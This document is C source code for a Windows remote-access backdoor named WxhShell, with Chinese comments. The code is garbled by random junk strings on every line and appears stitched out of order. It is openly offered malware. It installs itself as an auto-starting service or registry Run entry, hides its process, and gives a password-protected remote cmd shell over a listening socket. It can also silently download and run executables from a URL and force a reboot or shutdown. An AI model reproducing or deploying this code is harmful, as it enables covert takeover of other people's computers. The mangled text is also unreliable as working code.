    if(Boot(SHUTDOWN)) I:ag}L8`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}-si^fo;  
    else { e#+u8LrN  
    closesocket(wsh); '\ MYC8"  
    ExitThread(0); sUCI+)cM3  
    } >;$C@  
    break; )tq&l>0h  
    } _XO3ml\x@  
  // 获取shell Mj guH5Uy  
  case 's': { JBYmy_Su  
    CmdShell(wsh); %z0;77[1I  
    closesocket(wsh); )\q A[rTG  
    ExitThread(0); C V{kP8#  
    break; . paA0j  
  } 1kd\Fq^z$  
  // 退出 ] WsQ=  
  case 'x': { ]~Su  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cj,Yy  
    CloseIt(wsh); d'oh-dj %^  
    break; p-6Y5$Y  
    } \-]zXKl2k  
  // 离开 d3m!34ml  
  case 'q': { '@ $L}C#OI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o*[n[\cR  
    closesocket(wsh); kK0.j)(  
    WSACleanup(); Cggu#//Z}Q  
    exit(1); Ap :mc:  
    break; wb#ZRmx}  
        } e2~$=f-  
  } bvxol\7;  
  } @%oHt*u  
X6hp}  
  // 提示信息 Skb d'j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ke*tLnO  
} qM$4c7'4P6  
  } zeHf(N  
u n)YK  
  return; j5rB+  
} am'11a@*  
TbUouoc  
// shell模块句柄 xF#'+Y  
int CmdShell(SOCKET sock) H n^)Xw  
{ *&=sL  
STARTUPINFO si; ag_RKlM3  
ZeroMemory(&si,sizeof(si)); sbju3nvk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W<QMUu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @26gP:Um  
PROCESS_INFORMATION ProcessInfo; TZl^M h[a  
char cmdline[]="cmd"; )U?5O$M;lE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -E$(<Pow~\  
  return 0; tyW5k(>  
} R2e":`0I  
*N C9S,eSP  
// 自身启动模式 /.1yxb#Z?,  
int StartFromService(void) >!D^F]CH  
{ SJ4+s4!l <  
typedef struct ep$C nBwE  
{ f"{|c@%  
  DWORD ExitStatus; KBe\)Vs  
  DWORD PebBaseAddress; '{[n,xeR  
  DWORD AffinityMask; A(2\Gfe  
  DWORD BasePriority; .Wr%l $~  
  ULONG UniqueProcessId; A=PJg!  
  ULONG InheritedFromUniqueProcessId; ]52.nxs~  
}   PROCESS_BASIC_INFORMATION; MJzY|  
x$:P;#  
PROCNTQSIP NtQueryInformationProcess; --> ~<o  
g5YDRL!Wh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #80 [q3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P<tHqN !q  
1GaM!OC9  
  HANDLE             hProcess; YLx4qE  
  PROCESS_BASIC_INFORMATION pbi; lWR".  
|+aUy^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RCL}bE  
  if(NULL == hInst ) return 0; -](NMRqfN  
PXx:JZsju  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &(Yv&j X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SyB2A\A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fad.!%[  
mRNA,*  
  if (!NtQueryInformationProcess) return 0; js$L<^7  
_,ki/7{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xsO "H8  
  if(!hProcess) return 0; FJ/c(K  
-PG81F&K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^D%hKIT  
&tJ!cTA.-  
  CloseHandle(hProcess); j@Ta\a-,x  
VqIzDs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }x9D;%)/  
if(hProcess==NULL) return 0; UqA<rW  
}MiEbLduN  
HMODULE hMod; 7eR%zNDa  
char procName[255]; q;)+O#CR  
unsigned long cbNeeded; pnpx`u;  
N,4. %|1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !lnRl8oV  
L,+m5wKj[  
  CloseHandle(hProcess); }Z,xF`  
k$ORVU  
if(strstr(procName,"services")) return 1; // 以服务启动 Gkr]8J  
`xq/<U;i  
  return 0; // 注册表启动 Fs3rsig  
} -_KO}_  
9'5`0$,|^  
// 主模块 9*<=K  
int StartWxhshell(LPSTR lpCmdLine) PsMp &~^  
{ eVetG,["  
  SOCKET wsl; #$^vP/"$  
BOOL val=TRUE; Qf .ASC   
  int port=0; yU{Q`6u T  
  struct sockaddr_in door; <NYf!bx  
y!kU0  
  if(wscfg.ws_autoins) Install(); [Nw%fuB  
wyi%!H  
port=atoi(lpCmdLine); 9sI&&Jg  
i[#XYX'\  
if(port<=0) port=wscfg.ws_port; |b+ZKRW  
!!\x]$v  
  WSADATA data; 8{f~tPY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gm.sl},  
b;5&V_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h6(\ tRd!\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QB"Tlw(  
  door.sin_family = AF_INET; n90DS/Yx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xe&w.aBI>  
  door.sin_port = htons(port); t9\}!{<s  
DfsPg':z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QSNPraT  
closesocket(wsl); !j8 DCVb  
return 1; QE Q/  
} ng6".u9  
Aw) I:d7F  
  if(listen(wsl,2) == INVALID_SOCKET) { ?heg_ ~P  
closesocket(wsl); !XqU'xxC  
return 1; buu /Nz$  
} y7ZYo7avg  
  Wxhshell(wsl); _Oc(K "v  
  WSACleanup(); _wp_y-"  
EZee kxs  
return 0; TZ+- >CG  
=H_vRd  
} 7@NV|Idtd  
/Pyj|!C3`q  
// 以NT服务方式启动 !zZ3F|+HB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NW4tQ;ad  
{ t[4V1:  
DWORD   status = 0; $l=&  
  DWORD   specificError = 0xfffffff; R8%%EEB  
Rh,a4n?W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'o]kOp@q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @9e}kiW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xa[)fk$6  
  serviceStatus.dwWin32ExitCode     = 0; _C54l  
  serviceStatus.dwServiceSpecificExitCode = 0; !Pc&Sg  
  serviceStatus.dwCheckPoint       = 0; }`uFLBG3  
  serviceStatus.dwWaitHint       = 0; fW z=bJ"V  
eq6>C7.$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VxAG= E  
  if (hServiceStatusHandle==0) return; m|]:oT`M  
Ju@8_ ?8=  
status = GetLastError(); A:4?Jd>  
  if (status!=NO_ERROR) xS+!/pBf"Y  
{ Aryp!oW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WS6;ad;|  
    serviceStatus.dwCheckPoint       = 0; BS|$-i5L  
    serviceStatus.dwWaitHint       = 0; HD YWDp  
    serviceStatus.dwWin32ExitCode     = status; $z[@DB[  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;u*I#)7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %:!ILN  
    return; <;lwvO  
  } ey@{Ng#  
E;rS"'D:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `V2doV)  
  serviceStatus.dwCheckPoint       = 0; HJ+ Q7)  
  serviceStatus.dwWaitHint       = 0; v83@J~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ' +f(9/  
} X6Q\NJ"B  
H{4_,2h =m  
// 处理NT服务事件,比如:启动、停止 :SD#>eD0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "DC L Z  
{ g-4j1yJV<  
switch(fdwControl) JI[{n~bhGD  
{ z)ndj 1,#)  
case SERVICE_CONTROL_STOP: @gnLY  
  serviceStatus.dwWin32ExitCode = 0; jR2^n`D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; odTa 2$O  
  serviceStatus.dwCheckPoint   = 0; HV=P! v6  
  serviceStatus.dwWaitHint     = 0; 1$)}EL   
  { & d_2WQ}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sH.,O9'r  
  } JLak>MS  
  return; GMlJM  
case SERVICE_CONTROL_PAUSE: Yq>K1E|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lFN|)(X  
  break; Y~k,AJ{ ^  
case SERVICE_CONTROL_CONTINUE: &)izh) FA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hplxs#  
  break; sQmJ3 (:HO  
case SERVICE_CONTROL_INTERROGATE: sLd%m+*p  
  break; +Kp8X53  
}; ()W`4p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j;J`P H  
} 6F_:,b^  
5c0$oyl)M  
// 标准应用程序主函数 5VSc5*[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rpUTn!*u/  
{ nyL$z-I)  
N$.=1Q$F6  
// 获取操作系统版本 _H"_&m$aDm  
OsIsNt=GetOsVer(); meYGIP:n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v, !`A!{D  
*G8Z[ht%r  
  // 从命令行安装 R0urt  
  if(strpbrk(lpCmdLine,"iI")) Install(); ? =I']$MH  
=9;b|Y"aQ  
  // 下载执行文件 >VppM  `  
if(wscfg.ws_downexe) { +E']&v$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z^c\M\`7  
  WinExec(wscfg.ws_filenam,SW_HIDE); c-**~tb(  
} >c$3@$  
~U4Cf >  
if(!OsIsNt) { b$sT`+4q  
// 如果时win9x,隐藏进程并且设置为注册表启动 |j4p  
HideProc(); ?-'GbOr!  
StartWxhshell(lpCmdLine); tB`IBuy9!"  
} n?QglN  
else K7t_Q8  
  if(StartFromService()) aF[#(PF  
  // 以服务方式启动 q2U?EP{8~  
  StartServiceCtrlDispatcher(DispatchTable); 32Wa{LG;2  
else `{NbMc\ ]  
  // 普通方式启动 B r6tgoA  
  StartWxhshell(lpCmdLine); <tW/9}@p9  
sB!6"D5  
return 0; :<v@xOzxx  
} q| UO]V  
]*D~>q"#\  
3G'cDemc  
M5 P3;  
===========================================  81!gp7c  
+LlAGg]Z  
I#'yy7J  
U, 8mYv2|  
BKV:U\QZ  
6]mAtA`Y  
" d4)0G-|  
MkWbPm)  
#include <stdio.h> p*l=rni4  
#include <string.h> H`,t"I  
#include <windows.h> b#*"eZj  
#include <winsock2.h> t]T't='  
#include <winsvc.h> G[=;519  
#include <urlmon.h> L) UCVm  
2t?Vl%<  
#pragma comment (lib, "Ws2_32.lib") =7EkN% V:{  
#pragma comment (lib, "urlmon.lib") )6%a9&~H  
`Ue5;<K-/  
#define MAX_USER   100 // 最大客户端连接数 j Y(|z*|  
#define BUF_SOCK   200 // sock buffer ]MC5 uKn  
#define KEY_BUFF   255 // 输入 buffer 89{`GKWX  
zYM0?O8pJ~  
#define REBOOT     0   // 重启 -XnOj2  
#define SHUTDOWN   1   // 关机 $RYOj{1  
R[rOzoNp0  
#define DEF_PORT   5000 // 监听端口 FH{p1_kZ=  
{{AZW   
#define REG_LEN     16   // 注册表键长度 sq@c?!'  
#define SVC_LEN     80   // NT服务名长度 q3`~uTzk  
q. j$]?PQ  
// 从dll定义API C=bQ2t=Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U;M !jj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gz4LjMQ &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7eW6$$ju,N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CdMV(  
x`I"%pG  
// wxhshell配置信息 FD[4?\W]#  
struct WSCFG { YxGqQO36  
  int ws_port;         // 监听端口 _UY=y^ c0>  
  char ws_passstr[REG_LEN]; // 口令 |v<4=/.  
  int ws_autoins;       // 安装标记, 1=yes 0=no _w2KUvG-8  
  char ws_regname[REG_LEN]; // 注册表键名 1kD1$5  
  char ws_svcname[REG_LEN]; // 服务名 pktnX-Slt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N36B*9m&p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ua4P@#cU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6R*eJICN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7`e<H8g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" { R/e1-;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~S$ex,~  
Ec^2tx"=  
}; ["e;8H[K)%  
umt`0m. :  
// default Wxhshell configuration ,(]k)ym/  
struct WSCFG wscfg={DEF_PORT, "rVM23@ tq  
    "xuhuanlingzhe", Asy2jw\V  
    1, D={$l'y9p  
    "Wxhshell", ],vid1E  
    "Wxhshell", ~6+Um_A_L  
            "WxhShell Service", c:+UC  
    "Wrsky Windows CmdShell Service", H%Z;Yt8^gt  
    "Please Input Your Password: ", -:~z,F  
  1, qIB2eCXw  
  "http://www.wrsky.com/wxhshell.exe", ,1]VY/  
  "Wxhshell.exe" \FF|b"E_=  
    }; ",' Zr<T  
,@I\'os  
// 消息定义模块 GIfs]zVr`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z-yoJZi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5kADvi.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m)]|mYjju  
char *msg_ws_ext="\n\rExit."; )@] W=  
char *msg_ws_end="\n\rQuit."; #B q|^:nj  
char *msg_ws_boot="\n\rReboot..."; rbs&A{i  
char *msg_ws_poff="\n\rShutdown..."; @, AB 2D  
char *msg_ws_down="\n\rSave to "; rv<qze;?|  
Kzy9i/bL  
char *msg_ws_err="\n\rErr!"; KuEM~Q=  
char *msg_ws_ok="\n\rOK!"; ~#)9Kl7<X  
1lJ^$U  
char ExeFile[MAX_PATH]; k(v &+v  
int nUser = 0; Do5{t'm3  
HANDLE handles[MAX_USER]; i[w&!mn%  
int OsIsNt; 6WoFf  
qk>M~,  
SERVICE_STATUS       serviceStatus; t;:Yf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Rn9*OKr  
C;#gy-  
// 函数声明 P7REE_<1  
int Install(void); }=.C~f]A  
int Uninstall(void); ca,c+5  
int DownloadFile(char *sURL, SOCKET wsh); ;yCtk ~T%  
int Boot(int flag); ]7RK/Zu i  
void HideProc(void); n A%8 bZ+  
int GetOsVer(void); XpA|<s  
int Wxhshell(SOCKET wsl); |CK/-UG}  
void TalkWithClient(void *cs); k^K%."INn  
int CmdShell(SOCKET sock); uKB V`I  
int StartFromService(void); : qV|rih_Q  
int StartWxhshell(LPSTR lpCmdLine); jS5K:yx<  
7|Iq4@IT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E.-2 /'i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )}vUYTU1  
tf1Y5P$  
// 数据结构和表定义 6UuM `eu  
SERVICE_TABLE_ENTRY DispatchTable[] = &4)PW\ioY  
{ ;!OME*?m<  
{wscfg.ws_svcname, NTServiceMain}, V#c=O}  
{NULL, NULL} 5bsv05=e  
}; PWyFys  
+eop4 |Z  
// 自我安装 y+ izC+  
int Install(void) A2Iqn5  
{ T(k:\z/  
  char svExeFile[MAX_PATH]; L Z3=K`gj  
  HKEY key; >feeVk  
  strcpy(svExeFile,ExeFile); o[S Mt  
$N|Spp0  
// 如果是win9x系统,修改注册表设为自启动 RLGIST`  
if(!OsIsNt) { %6Y}0>gY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ie8SPNY-H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q~X}&}UT  
  RegCloseKey(key); QqcAmp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M?kXzb\O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 RYrAzQo  
  RegCloseKey(key); 2%MS$Fto  
  return 0; |Z$)t%'  
    } qSaCl6[Do  
  } tMo=q7ig  
} APU~y5vG (  
else { pvRa  
HD z"i  
// 如果是NT以上系统,安装为系统服务 9'KOc5@l^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =S\pI  
if (schSCManager!=0) lg 1r]  
{ 8P&z@E{y  
  SC_HANDLE schService = CreateService Qr?(2t#  
  ( 0.1?hb|p5T  
  schSCManager, 9D yy&$s  
  wscfg.ws_svcname, q@Zeu\T,*#  
  wscfg.ws_svcdisp, lH"VLO2l  
  SERVICE_ALL_ACCESS, 1W9uWkk_d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9FF  
  SERVICE_AUTO_START, ^a#W|-:  
  SERVICE_ERROR_NORMAL, '2{60t_A  
  svExeFile, ntZHO}'  
  NULL, a!PN`N28  
  NULL, } OkK@8?0O  
  NULL, )1O|+m k  
  NULL, 8{Vt8>4  
  NULL CZ(fP86e  
  ); =CaSd|   
  if (schService!=0) B;Co`o2  
  { AQc9@3T~Bi  
  CloseServiceHandle(schService); /8P7L'Rb  
  CloseServiceHandle(schSCManager); msw=x0{n5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X"T)X#:)  
  strcat(svExeFile,wscfg.ws_svcname); @j%7tfW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xI~c~KC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e^hI[LbNC  
  RegCloseKey(key); B5]nP .R  
  return 0; Nxm '* -A  
    } qc6d,z/  
  } <h`}I3Ao  
  CloseServiceHandle(schSCManager); ;]2d%Qt  
} &VVvZ@X;  
} IN"6 =2:  
i\{fM}~W$  
return 1; >a: 6umY  
} U^OR\=G^  
YRj"]= 5N  
// 自我卸载 VJtRL')  
int Uninstall(void) M7neOQHq  
{ kO,vHg$  
  HKEY key; a!;K+wL >  
XZ|\|(6Cc  
if(!OsIsNt) { Lx3`.F\mG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  L$[1+*  
  RegDeleteValue(key,wscfg.ws_regname); f5.Be%  
  RegCloseKey(key); Vv>hr+e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zBqNE`  
  RegDeleteValue(key,wscfg.ws_regname); Bo/i =/7%  
  RegCloseKey(key); 8ya|eJ]/L  
  return 0; NHzVA*f  
  } 1xsB@D  
} T?D]]x  
} p$6L_ *$  
else { &"X1w $  
ES[]A&tf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S2$r 6T  
if (schSCManager!=0) eak+8URo  
{ =5g|7grQ:`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tU>4?`)E  
  if (schService!=0) =#vU$~a  
  { N  gOc2I  
  if(DeleteService(schService)!=0) { Vc "+|^  
  CloseServiceHandle(schService); ='HLA-uT  
  CloseServiceHandle(schSCManager); g"D:zK)  
  return 0;  37|EG  
  } 4HyD=6V#  
  CloseServiceHandle(schService); e`% <D[-  
  } ZZW%6-B  
  CloseServiceHandle(schSCManager); hj3wxH.}  
} Q7?[@2HN  
} -M`+hVs?  
2O0</^Z%E  
return 1; HH^yruP\}  
} >):>Pz%U  
"^Vfo$q  
// 从指定url下载文件 E}|IU Pm  
int DownloadFile(char *sURL, SOCKET wsh) UFr5'T  
{ v t}A6mF  
  HRESULT hr; oF5~|&C  
char seps[]= "/"; M V~3~h8  
char *token; |f+fG=a67V  
char *file; =M34 HPG  
char myURL[MAX_PATH]; S!7|vb*ko  
char myFILE[MAX_PATH]; \2)~dV:6+  
'tq4-11xB  
strcpy(myURL,sURL); AXpyia7nU  
  token=strtok(myURL,seps); e:=+~F(f  
  while(token!=NULL) .OD{^Kq2  
  { 4% 2MY\  
    file=token; dxF)) Z  
  token=strtok(NULL,seps);  6Xt c3  
  } $`Aps7A  
2QV|NQSl  
GetCurrentDirectory(MAX_PATH,myFILE); Iyt.`z  
strcat(myFILE, "\\"); !Bb^M3iA  
strcat(myFILE, file); ngH_p>  
  send(wsh,myFILE,strlen(myFILE),0); h=ko_/<  
send(wsh,"...",3,0); ^1[u'DW4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6 kAXE\T  
  if(hr==S_OK) s!/Q>A  
return 0; s C?-L  
else UjS,<>fm  
return 1; /@K1"/fqH  
o,=dm@j  
} &y:SK)  
6>/g`%`N  
// 系统电源模块 <0H^2ekd  
int Boot(int flag) 'E#Bz"T  
{ g}*F"k4j  
  HANDLE hToken; GhY MO6Q4  
  TOKEN_PRIVILEGES tkp; l%MIna/Tp  
0%]F&|  
  if(OsIsNt) { Z`kI6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s;YuB#Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gJuA*^  
    tkp.PrivilegeCount = 1; EY[J;H_b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q!}O+(kt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y f;Slps  
if(flag==REBOOT) { l\~F0Z/O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wj31mV  
  return 0; _9"%;:t  
} $oH?7sj  
else { +:m'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?h'd\.j{  
  return 0; FFID<L f/2  
} ?-9It|R  
  } 0o-KjX?kP  
  else { b)@b63P_  
if(flag==REBOOT) { p ^Dm w0y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |1^ !rHg  
  return 0; kY`L[1G$  
} _0qp!-l}  
else { Py-}tFr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _tpqo>  
  return 0; Y'2 |GJc2  
} Fs;_z9ej-u  
} yX|0 R H  
/FA0(< -}  
return 1; KJN{p~Q  
} ER*Et+ >  
`'M}.q,k~  
// win9x进程隐藏模块 S%k](\7!  
void HideProc(void) 8zk?:?8%{  
{ zsha/:b  
44(l1xEN+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *9xv0hRQ%?  
  if ( hKernel != NULL ) j_HwR9^fd,  
  { 8K0@*0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5$L=l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cSs??i D"q  
    FreeLibrary(hKernel); hQ}B?'>  
  } N?krlR  
@F0+t;  
return; rP7f~"L  
} @b"J FB|  
%oqC5O6  
// 获取操作系统版本 6$*ZH *  
int GetOsVer(void) AH#klYK  
{ w-9fskd6e  
  OSVERSIONINFO winfo; ([L5i&DT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $oU40HA)W]  
  GetVersionEx(&winfo); {9*k \d/;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @`Foy  
  return 1; 7Q3a0`Iq  
  else Fb9!x/$tGV  
  return 0; 7!"OF  
} q\a'pp9d  
6l-V% 3-  
// 客户端句柄模块 *T{P^q.s~[  
int Wxhshell(SOCKET wsl) .YcI .  
{ 86N"EuH$  
  SOCKET wsh; !/Wp0E'A  
  struct sockaddr_in client; 6Cd% @Q2cr  
  DWORD myID; S,~DA3  
]S#m o  
  while(nUser<MAX_USER) h#!u"'JW  
{ E;Sb e9]   
  int nSize=sizeof(client); l d4#jV ei  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -<Zs7(  
  if(wsh==INVALID_SOCKET) return 1; S8$kxQg  
QvN=<V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W_ hckq.  
if(handles[nUser]==0) # ^~[\8v>  
  closesocket(wsh); |T@\ -8Ok  
else (:2,Rr1"  
  nUser++; `cBV+00YS  
  } m?Qr)F_M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _@Le MNv  
{(,[  
  return 0; k9pOY]_Y  
} o:irwfArv  
,3tcti~sZ  
// 关闭 socket A$]&j5nh|  
void CloseIt(SOCKET wsh) \$] V#@F  
{ ow{SsX  
closesocket(wsh); k{q4Zz[  
nUser--; <i(<|/ $  
ExitThread(0); ` kG}NJf  
} ) ]x/3J@  
8V$:th('  
// 客户端请求句柄 ,AO]4Ec  
void TalkWithClient(void *cs) 42wa9UL<Ka  
{ RiX~YL eM  
u79,+H@ep  
  SOCKET wsh=(SOCKET)cs; ZfYva(zP{Q  
  char pwd[SVC_LEN]; ^ A`@g4!  
  char cmd[KEY_BUFF]; O8drR4 Pt  
char chr[1]; /X_g[*]?  
int i,j; `pzXh0}|  
rL /e  
  while (nUser < MAX_USER) { DZI:zsf;5Q  
|3A/Og  
if(wscfg.ws_passstr) { a*Oc:$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r)G^V&96  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TsB"<6@!AA  
  //ZeroMemory(pwd,KEY_BUFF); "/&_B  
      i=0; ~Yw`w 2  
  while(i<SVC_LEN) { ZFAi9M  
,@1.&!F4it  
  // 设置超时 X<<hb  
  fd_set FdRead; W+C@(}pt  
  struct timeval TimeOut; "V;5Lp b  
  FD_ZERO(&FdRead); feH|sz`e  
  FD_SET(wsh,&FdRead); }Ra'`;D$  
  TimeOut.tv_sec=8; 1k *gbXb  
  TimeOut.tv_usec=0; !F_BLHig  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DFKumw>!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y,D4b6  
6:v$g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i,Q{Z@,  
  pwd=chr[0]; }  :@s  
  if(chr[0]==0xd || chr[0]==0xa) { >K2Md*[P3q  
  pwd=0; (\UA+3$4  
  break; YGj3W.eH  
  } ^/<0r] =  
  i++; 3k J8Wn  
    } dDAI fe2y  
_ xAL0 (  
  // 如果是非法用户,关闭 socket `T gwa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dBKceL v  
} ;%j1'VI  
_rz*7-ks=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <{"]&bl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); El}."}l&  
=D2jJk?AX  
while(1) { .9<  i  
9,4Lb]  
  ZeroMemory(cmd,KEY_BUFF); LXIQpD,M  
cnUYhxE+s  
      // 自动支持客户端 telnet标准   8$H_:*A?  
  j=0; d3$&I==;:  
  while(j<KEY_BUFF) { YB^[HE\#y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gdu8O!9)  
  cmd[j]=chr[0]; TfYXF`d  
  if(chr[0]==0xa || chr[0]==0xd) { K9#=@}!3L  
  cmd[j]=0; }T}9AQ}|  
  break; <9]9;   
  } 8KQ]3Z9p  
  j++; us2X:X)  
    } o<hT/ P  
u7oHqo`  
  // 下载文件 dsx'l0q 'i  
  if(strstr(cmd,"http://")) { VZ`L-P$AF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I?l%RdGW  
  if(DownloadFile(cmd,wsh)) J5Nz<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S+d@RMdes  
  else 0jlwL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B}%B4&Ij  
  } =Mb1)^m  
  else { bvf}r ,`Q7  
)jh4HMvmC  
    switch(cmd[0]) { &: i|;^^2  
  "gcHcboU5$  
  // 帮助 W3XVr&  
  case '?': { aIrQ=}  
